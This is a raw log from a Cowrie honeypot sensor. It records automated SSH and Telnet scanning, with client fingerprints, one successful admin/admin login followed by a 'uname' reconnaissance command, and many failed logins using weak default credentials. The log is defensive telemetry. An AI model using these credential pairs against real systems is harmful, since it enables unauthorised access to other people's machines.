h-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:14.972079Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:15.219031Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:15.429885Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:15.434917Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:15.520204Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:15.525472Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48928,"dst_ip":"159.203.135.109","dst_port":22,"session":"270941f0a0ee","protocol":"ssh","message":"New connection: 176.65.132.129:48928 (159.203.135.109:22) [session: 270941f0a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:18.274637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:18.279493Z","src_ip":"176.65.132.129","session":"270941f0a0ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:18.362471Z","src_ip":"176.65.132.129","session":"270941f0a0ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:18.801046Z","src_ip":"176.65.132.129","session":"270941f0a0ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42224,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44e346f2521","protocol":"telnet","message":"New connection: 45.58.127.90:42224 (10.17.0.5:23) [session: a44e346f2521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:19.349765Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59074,"dst_ip":"10.17.0.5","dst_port":23,"session":"c19ecab918c2","protocol":"telnet","message":"New connection: 45.58.127.90:59074 (10.17.0.5:23) [session: c19ecab918c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:19.765086Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:19.948516Z","src_ip":"176.65.132.129","session":"270941f0a0ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42226,"dst_ip":"10.17.0.5","dst_port":23,"session":"b563a47a9768","protocol":"telnet","message":"New connection: 45.58.127.90:42226 (10.17.0.5:23) [session: b563a47a9768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:20.694114Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58650,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb677b966bee","protocol":"ssh","message":"New connection: 172.237.20.62:58650 (159.203.135.109:22) [session: cb677b966bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:20.943564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:20.973001Z","src_ip":"172.237.20.62","session":"cb677b966bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:21.125507Z","src_ip":"172.237.20.62","session":"cb677b966bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:21.733015Z","src_ip":"172.237.20.62","session":"cb677b966bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48934,"dst_ip":"159.203.135.109","dst_port":22,"session":"17cece78530e","protocol":"ssh","message":"New connection: 176.65.132.129:48934 (159.203.135.109:22) [session: 17cece78530e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:21.825856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:21.830547Z","src_ip":"176.65.132.129","session":"17cece78530e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:21.912192Z","src_ip":"176.65.132.129","session":"17cece78530e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:22.156865Z","src_ip":"176.65.132.129","session":"17cece78530e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:22.912309Z","src_ip":"172.237.20.62","session":"cb677b966bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:23.358124Z","src_ip":"176.65.132.129","session":"17cece78530e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42240,"dst_ip":"10.17.0.5","dst_port":23,"session":"8681b4b0d0a6","protocol":"telnet","message":"New connection: 45.58.127.90:42240 (10.17.0.5:23) [session: 8681b4b0d0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:23.937012Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42250,"dst_ip":"10.17.0.5","dst_port":23,"session":"eebc40756eda","protocol":"telnet","message":"New connection: 45.58.127.90:42250 (10.17.0.5:23) [session: eebc40756eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:25.334181Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48944,"dst_ip":"159.203.135.109","dst_port":22,"session":"7031c1f1dea6","protocol":"ssh","message":"New connection: 176.65.132.129:48944 (159.203.135.109:22) [session: 7031c1f1dea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:25.386151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:25.392067Z","src_ip":"176.65.132.129","session":"7031c1f1dea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:25.476810Z","src_ip":"176.65.132.129","session":"7031c1f1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42278,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6d01c1b4fa","protocol":"telnet","message":"New connection: 45.58.127.90:42278 (10.17.0.5:23) [session: bb6d01c1b4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:25.637607Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:25.724710Z","src_ip":"176.65.132.129","session":"7031c1f1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:26.810002Z","src_ip":"176.65.132.129","session":"7031c1f1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40634,"dst_ip":"159.203.135.109","dst_port":22,"session":"73e9adc7e34f","protocol":"ssh","message":"New connection: 176.65.132.129:40634 (159.203.135.109:22) [session: 73e9adc7e34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:28.716177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:28.720807Z","src_ip":"176.65.132.129","session":"73e9adc7e34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:28.802489Z","src_ip":"176.65.132.129","session":"73e9adc7e34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:29.048235Z","src_ip":"176.65.132.129","session":"73e9adc7e34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:30.133353Z","src_ip":"176.65.132.129","session":"73e9adc7e34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.189","src_port":47840,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e0644d1a4b","protocol":"ssh","message":"New connection: 176.65.131.189:47840 (10.17.0.5:22) [session: 37e0644d1a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:30.931039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:30.935240Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.023261Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:e5:04:62:fb:ce:b8:c6:d1:33:26:6a:1d:44:c4:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqijiXfsKZfj9WYmCEM5u4unCPQErkQAvpQR2IY77I3XqCGjUbVRgN9lYbgDrxdxh9G7TO31/UsOBtWfmaRBIH7Qacrjo88kAg0I9VAcIDvfzeDAc8Q8rkLY5p2FqmCfmPLjqUg1HyfkJUkcCBn36KtnBBrRaHA8ibzr+OtYMsJ7p1Y4Qs5FVveveXYN69JXb0yN3QIgWasJcZikBHjlZErN2OaZ34Q1TlE4QjYAFyh5kb/S+aFzvcqiG9HOOrpGK/NrlwFZZF3ed5Z5nz4ALdFxaliw0HmJmeUjsf/y4idy8/scXqGSqWCDYIEsAxbdykd6Xc0k2+fiVPNxASggN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:e5:04:62:fb:ce:b8:c6:d1:33:26:6a:1d:44:c4:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.438494Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:e5:04:62:fb:ce:b8:c6:d1:33:26:6a:1d:44:c4:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqijiXfsKZfj9WYmCEM5u4unCPQErkQAvpQR2IY77I3XqCGjUbVRgN9lYbgDrxdxh9G7TO31/UsOBtWfmaRBIH7Qacrjo88kAg0I9VAcIDvfzeDAc8Q8rkLY5p2FqmCfmPLjqUg1HyfkJUkcCBn36KtnBBrRaHA8ibzr+OtYMsJ7p1Y4Qs5FVveveXYN69JXb0yN3QIgWasJcZikBHjlZErN2OaZ34Q1TlE4QjYAFyh5kb/S+aFzvcqiG9HOOrpGK/NrlwFZZF3ed5Z5nz4ALdFxaliw0HmJmeUjsf/y4idy8/scXqGSqWCDYIEsAxbdykd6Xc0k2+fiVPNxASggN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.444885Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:5f:5a:af:76:bb:74:fe:8c:75:42:a4:3d:b4:95:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAovDAyK07yZfWEC16IY8KEdw+1Na+Bsoau7gedbdISMIVU0/g8RerFDyVfOxGve+6GufXWSECq9XkzYaA9dsFrJYvdf5Y+mBfVCJhmWJX7ffIENK0WSV3ilSCYTwfZwN2yoR2nicHD55dJ2yBBi9iQ7pwW0+WnOcgwf0PHPEjIzPKNSS2u3xiezRuh3lSd6UznvG2VNfamnJ29c/4WeOpph/myMxFxFX5xiWw2fhSu5mpeXyFe9OMlQrwGjTdouZgGr8+ElIBCBTatQWDO9yvam2nW6VKm2bNDXabaiQou5tJ0WZDk+dJ7STXTTv5u7AI37b7wHrAHn+JfS4DyjTyWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:5f:5a:af:76:bb:74:fe:8c:75:42:a4:3d:b4:95:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.532521Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
